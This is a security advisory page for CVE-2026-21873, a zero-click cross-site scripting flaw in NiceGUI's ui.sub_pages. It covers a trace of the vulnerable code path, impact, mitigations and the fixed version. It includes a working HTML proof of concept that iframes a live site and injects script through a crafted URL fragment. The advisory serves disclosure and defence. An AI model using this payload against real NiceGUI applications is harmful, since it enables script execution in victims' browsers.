CVE-2026-21873 — nicegui
HIGHCVE-2026-21873 is a high-severity (CVSS 7.2) Cross-site Scripting (XSS) vulnerability in nicegui. A fix is available for nicegui — see the affected versions and patch details below.
Zero-click XSS in all NiceGUI apps which uses `ui.sub_pages`
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-21873.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
niceguiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An unsafe implementation in the pushstate event listener used by ui.sub_pages allows an attacker to manipulate the fragment identifier of the URL, which they can do despite being cross-site, using an iframe.
Details
The problem is traced as follows:
- On
pushstate,handleStateEventis executed.
handleStateEventemitssub_pages_openevent.
SubPagesRouter(used byui.sub_pages), lisnening onsub_pages_open,_handle_openruns.
_handle_openfinds anySubPagesand runs_show()on them
- If the if-logic is followed or debug prints are added, it can be found that it calls
self._handle_scrolling(match, behavior='smooth')directly
- CULPRIT
_handle_scrollingruns_scroll_to_fragmentas there is a fragment, which runs vulnerable JS if thefragment(attacker-controlled) escapes out of the quotes.
PoC
Just visiting this page (no click required), consistently triggers XSS in https://nicegui.io domain.
<html>
<body>
<iframe id="myiframe" src="https://nicegui.io" width="100%" height="600px" onload="triggerXSS()"></iframe>
<script>
function triggerXSS() {
if (!myiframe.src.includes("#")) {
myiframe.src = "https://nicegui.io#x');alert(document.domain)//";
}
}
</script>
</body>
</html>
<img width="1429" height="643" alt="image" src="https://github.com/user-attachments/assets/310dbb5c-65d5-44f2-8417-dcf044829bc6" />
Impact
Any page which uses ui.sub_pages and does not actively prevent itself from being put in an iframe is affected.
The impact is high since by-default NiceGUI pages are iframe-embeddable with no native opt-out functionalities except by manipulating the underlying app via FastAPI methods, and that ui.sub_pages is actively promoted as the new modern way to create Single-Page Applications (SPA).
Patch
- Not use
ui.sub_pages - Block iframe with the following code
@app.middleware('http')
async def iframe_blocking_middleware(request, call_next):
response = await call_next(request)
response.headers['X-Frame-Options'] = 'DENY'
return response
Appendix
AI is used safely to judge the CVSS scoring (input is censored).
Please find the results in https://poe.com/s/3FXuwp7TAYxqLomARXma
Scoring update after manual review
The scoring done by AI was quite biased. Upon further review it is less dramatic.
- User Interaction None: There's almost no interaction required, and none of the interaction is with the vulnerable system.
- Confidentiality & Integrity Low: The extent of data confidentiality & integrity loss is bounded by the highest priviledged user in the entire NiceGUI application. There does not exist a means of performing data manipulating tasks that said admin cannot already do.
- Availability None: No DDoS is possible with this. Site remains performant as ever.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | nicegui | ≥ 2.22.0&&< 3.5.0 | 3.5.0pip install --upgrade 'nicegui==3.5.0' |
Affected Products
niceguizauberzeugDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nicegui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update nicegui to 3.5.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-21873 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is CVE-2026-21873 in your dependencies?
Find it across PyPI, including transitive dependencies.